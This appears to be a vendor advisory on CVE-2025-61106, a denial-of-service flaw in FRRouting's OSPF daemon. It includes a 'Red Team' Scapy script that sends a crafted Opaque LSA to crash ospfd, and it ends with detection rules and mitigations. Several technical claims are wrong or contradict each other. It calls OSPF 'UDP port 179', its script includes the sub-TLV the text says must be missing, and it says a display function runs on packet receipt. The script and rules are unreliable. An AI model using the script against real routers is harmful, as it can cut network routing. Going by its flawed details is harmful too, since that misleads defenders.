CVE-2025-61106

Executive Summary

CVE-2025-61106 is a critical Denial of Service (DoS) vulnerability in FRRouting (FRR), an open-source routing software suite. The flaw resides in the show_vty_ext_pref_pref_sid function within ospf_ext.c. By sending a specially crafted OSPF packet, an unauthenticated, remote attacker can trigger a NULL pointer dereference, causing the FRR daemon to crash. This results in a complete loss of routing services for the affected network segment. The vulnerability affects FRR versions from v4.0 through v10.4.1. No public exploit code or patch is currently available, making this a high-priority zero-day for network defenders.

Supply Chain & Package Security

FRRouting is a critical component in many network operating systems and containerized routing stacks. The vulnerability is present in the source code repository and all downstream distributions (e.g., Docker images, Linux distribution packages). Organizations using FRR in production should treat this as a supply chain risk until an official patch is released.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is modified.
• Availability (A): High – The service is completely disrupted.

Threat Level: High. The vulnerability is remotely exploitable with low complexity and no authentication, making it a prime target for botnets and automated scanning.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference in the OSPF (Open Shortest Path First) protocol implementation. The show_vty_ext_pref_pref_sid function is part of the VTY (Virtual Teletype) interface used for debugging and monitoring OSPF extended prefix and prefix-SID information.

Root Cause: When processing a crafted OSPF packet, the function attempts to dereference a pointer that has not been properly initialized or has been set to NULL. This typically occurs when the packet contains malformed or unexpected Type-Length-Value (TLV) structures within the OSPF Link State Advertisement (LSA).

Trigger Mechanism:

1. An attacker sends a crafted OSPF packet (e.g., a Type 10 Opaque LSA or a Router LSA with extended prefix TLVs) to a vulnerable FRR router.
2. The router processes the packet and calls show_vty_ext_pref_pref_sid to display the prefix-SID information.
3. Inside this function, a pointer to a data structure (likely an ospf_ext_lsa or similar) is NULL because the packet did not contain the expected TLV.
4. The function attempts to access a member of this NULL pointer, causing a segmentation fault and crashing the ospfd daemon.

Impact: The OSPF daemon crashes, causing the router to lose all OSPF adjacencies. This leads to a Denial of Service for all routes learned via OSPF, potentially isolating network segments.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical analysis based on the vulnerability description.

Vulnerable Code (ospf_ext.c):

void show_vty_ext_pref_pref_sid(struct vty *vty, struct ospf_ext_lsa *lsa) {
    // No NULL check before dereferencing
    struct ospf_ext_pref_sid *sid = lsa->pref_sid;  // Potential NULL dereference
    vty_out(vty, "Prefix SID: %u", sid->value);
}

Patched Code (Hypothetical):

void show_vty_ext_pref_pref_sid(struct vty *vty, struct ospf_ext_lsa *lsa) {
    if (lsa == NULL || lsa->pref_sid == NULL) {
        vty_out(vty, "No Prefix SID data available%s", VTY_NEWLINE);
        return;
    }
    struct ospf_ext_pref_sid *sid = lsa->pref_sid;
    vty_out(vty, "Prefix SID: %u", sid->value);
}

The fix adds a NULL check before dereferencing the pointer, preventing the crash.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running FRR v4.0 to v10.4.1 with OSPF enabled.
• Network access to the target's OSPF interface (typically UDP port 179 or IP protocol 89).

Exploitation Steps:

1. Craft the Malicious OSPF Packet: Use a tool like Scapy to create a crafted OSPF packet. The packet should contain a Type 10 Opaque LSA with an Extended Prefix TLV that is malformed (e.g., missing the Prefix-SID sub-TLV).
2. Send the Packet: Send the crafted packet to the target router's OSPF interface.
3. Trigger the Crash: The router processes the packet and calls show_vty_ext_pref_pref_sid, which dereferences a NULL pointer, crashing the ospfd daemon.

Example Scapy Script:

from scapy.all import *
from scapy.contrib.ospf import *

# Craft a malicious OSPF packet
packet = IP(dst="192.168.1.1")/OSPF_Hdr(src="192.168.1.2")/OSPF_LSUpd(
    lsas=[OSPF_Opaque_LSA(
        type=10,
        opaque_type=7,  # Extended Prefix LSA
        opaque_id=1,
        tlvs=[OSPF_Extended_Prefix_TLV(
            route_type=1,
            prefix="10.0.0.0/24",
            sub_tlvs=[OSPF_Prefix_SID_SubTLV(
                flags=0,
                mt_id=0,
                algorithm=0,
                sid=100
            )]
        )]
    )]
)

send(packet, iface="eth0")

Note: The exact TLV structure may need adjustment based on the target's FRR version.

Blue Team (Defense & Detection)

Immediate Actions:

1. Isolate Affected Routers: If possible, temporarily disable OSPF on vulnerable routers or restrict OSPF packet sources using ACLs.
2. Monitor for Crashes: Watch for ospfd process crashes in system logs (/var/log/syslog or journalctl).
3. Apply Workarounds: If a patch is not available, consider using a firewall to block OSPF packets from untrusted sources.

Detection Strategy:

• Monitor for malformed OSPF packets using network intrusion detection systems.
• Look for repeated OSPF adjacency flaps.

Indicators of Compromise (IOCs)

Network IOCs:

• OSPF packets with malformed Type 10 Opaque LSAs (Extended Prefix LSAs).
• OSPF packets with missing or invalid Prefix-SID sub-TLVs.
• Repeated OSPF adjacency state changes (e.g., Full -> Down -> Full).

System IOCs:

• ospfd process crash logs containing SIGSEGV or NULL pointer dereference.
• Core dump files from ospfd in /var/core/.
• Log entries like:

  ospfd[1234]: signal 11 (SIGSEGV) received, dumping core
  

File IOCs:

• Core dump files: /var/core/ospfd.*.core

Detection Engineering

YARA Rule

rule CVE_2025_61106_OSPF_NULL_PTR {
    meta:
        description = "Detects malformed OSPF packets targeting CVE-2025-61106"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61106"
    strings:
        $ospf_opaque = { 09 02 00 00 }  // OSPF Opaque LSA type 10
        $ext_prefix_tlv = { 01 01 00 04 }  // Extended Prefix TLV header
        $null_sid = { 00 00 00 00 }  // Potential NULL SID
    condition:
        $ospf_opaque and $ext_prefix_tlv and $null_sid
}

Sigma Rule

title: CVE-2025-61106 OSPF DoS Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects malformed OSPF packets targeting CVE-2025-61106
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_proto: 'ospf'
        ospf.type: 10  # Opaque LSA
        ospf.opaque_type: 7  # Extended Prefix LSA
        ospf.tlv_type: 0x0101  # Extended Prefix TLV
    condition: selection
falsepositives:
    - Legitimate OSPF extended prefix LSAs
level: high

Suricata Rule

alert ospf any any -> any any (msg:"CVE-2025-61106 OSPF DoS Exploitation Attempt"; ospf_type:10; ospf_opaque_type:7; content:"|01 01|"; offset:0; depth:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Disable OSPF Extended Prefix Processing: If not required, disable the OSPF Extended Prefix feature on all FRR routers.
2. Access Control Lists (ACLs): Restrict OSPF packet sources to only trusted routers.
3. Rate Limiting: Implement rate limiting for OSPF packets to reduce the impact of repeated attacks.

Long-Term Remediation:

1. Apply Patch: Monitor the FRR GitHub repository for an official patch and apply it as soon as it is released.
2. Upgrade FRR: Upgrade to a patched version once available (likely v10.4.2 or later).
3. Code Review: Conduct a thorough code review of all OSPF-related functions for similar NULL pointer dereference issues.

Workaround (If No Patch Available):

• Use a firewall to block OSPF packets from untrusted networks.
• Consider using a different routing protocol (e.g., IS-IS) temporarily.

Valters IT
Securing Networks, One Packet at a Time